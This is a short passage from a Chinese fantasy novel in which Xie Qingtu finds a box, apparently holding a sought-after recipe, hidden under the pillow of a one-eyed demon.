正当一筹莫展之际，她倏然瞥见榻上枕头鼓鼓囊囊的，凸起不自然的弧度，好似下头垫着什么东西。 谢轻荼有预感，配方就在那里。 掀开枕头，只见下面放了一只扁扁的木匣。一目方起床，匣面上仍有余温。 终于。 她拾起匣子，心里头一阵轻快。 这独眼小妖，也不嫌硌得慌。